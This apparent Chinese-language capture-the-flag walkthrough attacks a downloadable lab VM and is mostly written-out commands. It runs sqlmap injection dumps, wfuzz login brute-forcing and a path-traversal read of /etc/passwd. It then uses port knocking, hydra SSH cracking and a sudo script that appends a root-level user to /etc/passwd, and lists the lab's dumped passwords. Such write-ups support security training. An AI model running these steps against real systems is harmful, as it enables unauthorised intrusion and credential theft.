赞
踩
靶机地址:链接:https://pan.baidu.com/s/1kMLviFtz2JosS422-L1Tgw
提取码:c5ur
- nmap -sP 192.168.128.1/24
- arp-scan -l #得到IP 192.168.128.131
nmap -p 1-65535 -A 192.168.128.131 # 22 80端口
- dirb http://192.168.128.131
- 或者nikto -host 192.168.128.131 这个查询到了config.php 但是打不开
- #发现查询点:
- 万能密码注入尝试:' or 1=1 -- -
- #F12看到是post请求,抓包看到search参数
- sqlmap -u "http://192.168.128.131/results.php" --data "search=1" --dbs 查看所有的库名
- sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users --tables
- sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users -T UserDetails --columns
- sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users -T UserDetails --dump
- 这里更推荐直接全部dump
- ##notepad可以直接按住alt区域选择复制,这样可以把很多的账密分开做成字典。
- #暴力破解:WFuzz
- wfuzz -z file,name.txt -z file,password.txt -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php #这里POST请求必须使用 -d
- wfuzz -z file,name.txt -z file,passwd.txt --hw 93 -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php
- wfuzz -z file,name.txt -z file,passwd.txt --hh 1248 -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php
- #没找到
- **#尝试第二个数据库 Staff的信息。**
- sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D Staff -T Users --dump
- #找参数 #尝试了hw hh 的过滤方式,找不到对应的参数。 FUZZ后面带文件名(index.php,etc/passwd等),不带都尝试,考虑是字典还是参数不对。最后,想到回到根目录的 etc/passwd 使用../
- wfuzz -b 'PHPSESSID=in952k2in45a06pcdmht1aepi3' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.128.131/manage.php?FUZZ=../../../../../../etc/passwd
- #看到很多操作系统账号密码。这里爆破操作系统的账号密码。但是并不行
- hydra -L name.txt -P passwd.txt 192.168.128.131 ssh
- **#22端口打开了,但是不能连接的原因?**
- **1. 防护墙**
- **2.所选用户不能使用22端口登录**
- **3.linux服务:敲门 Knockd,确认方式:文件位置 /etc/knockd.conf 访问文件看到7469 **
- **#用nmap对应敲门,只要访问了,就会打开的端口**
- **nmap -p 7469 192.168.128.131**
- **nmap -p 8475 192.168.128.131**
- **nmap -p 9842 192.168.128.131**
- #再次使用hydra爆破: 这里发现保存的字典,不能有任何空格
- hydra -L name-dict -P passwd-dict 192.168.128.131 ssh
- #登录
- ssh janitor@192.168.128.131 输入密码即可
- #登录成功还是老操作。看东西:
- 1. history
- 2. ls -a
- 3。 sudo -l
- #发现密码,放到字典。继续hydra爆破:
- hydra -L name-dict -P passwd-dict 192.168.128.131 ssh
- **#登录成功,重复操作,sudo -l有信息:以root的身份执行操作程序**
- ./opt/devstuff/dist/test/test 执行 #python test.py read append 读取内容追加内容的意思
- #怎么找test.py的文件位置?
- find / - name "test.py"
- find / -name "test.py" 2>/dev/null # 2代表标准错误输出,过滤到某地
- cat /opt/devstuff/test.py
- #/etc/passwd的文件格式:密码是x的原因,在/etc/shadow里面,放在etc/passwd也可以
- #第三位和第四位的数字是uid和gid,root用户是0
- #第五位是用户描述,第六位是用户的工作目录,第七位命令 解释程序(执行命令的工具)
- **这里提取思路:创建一个用户 把uid和gid都设为0即可,加密方式得是hash加密。利用python的脚本,追加到test.py**
- openssl passwd -1 -salt admin 123456 $1$admin$LClYcRe.ee8dQwgrFc5nz.
- 完整的账密应该是: admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.
- admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash 最后的解释脚本目录
- 在有权限的用户的下输入 echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
- sudo ./test /tmp/passwd /etc/passwd
- #可以看到新增了一个用户
- cat /etc/passwd
- su root
- 输入密码
- 22/tcp filtered ssh
- 80/tcp open http Apache httpd 2.4.38 ((Debian)) #有apache 有/var/www目录
- 网页主页有一堆个人信息
- 目录扫描:
- ==> DIRECTORY: http://192.168.128.131/css/
- ==> DIRECTORY: http://192.168.128.131/includes/ #没用
-
- +---------------+-----------+
- | password | username |
- +---------------+-----------+
- | 3kfs86sfd | marym |
- | 468sfdfsd2 | julied |
- | 4sfd87sfd1 | fredf |
- | RocksOff | barneyr |
- | TC&TheBoyz | tomc |
- | B8m#48sd | jerrym |
- | Pebbles | wilmaf |
- | BamBam01 | bettyr |
- | UrAG0D! | chandlerb |
- | Passw0rd | joeyt |
- | yN72#dsd | rachelg |
- | ILoveRachel | rossg |
- | 3248dsds7s | monicag |
- | smellycats | phoebeb |
- | YR3BVxxxw87 | scoots |
- | Ilovepeepee | janitor |
- | Hawaii-Five-0 | janitor2 |
- +---------------+-----------+
- 第一个数据库账密不行 换数据库查
- admin transorbital1
- 看到一个。。。。**File does not exist **
- **考虑考虑文件包含---》找参数。。**
- 这里**注意:在登录时找参数,所以,直接用wfuzz找参数是一个没登陆的状态。带上cookie值,才是以登录的状态查找cookie值**
- 参数为 "file"
-
- [22][ssh] host: 192.168.128.131 login: chandlerb password: UrAG0D!
- [22][ssh] host: 192.168.128.131 login: joeyt password: Passw0rd
- [22][ssh] host: 192.168.128.131 login: janitor password: Ilovepeepee
- 后面收集到的
- login: fredf password: B4-Tru3-001
-
- import sys
-
-
- if len (sys.argv) != 3 :
- print ("Usage: python test.py read append")
- sys.exit (1)
-
-
- else :
- f = open(sys.argv[1], "r")
- output = (f.read())
-
-
- f = open(sys.argv[2], "a")
- f.write(output)
- f.close()
- 读取任意文件内容,追加到任意文件中去
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。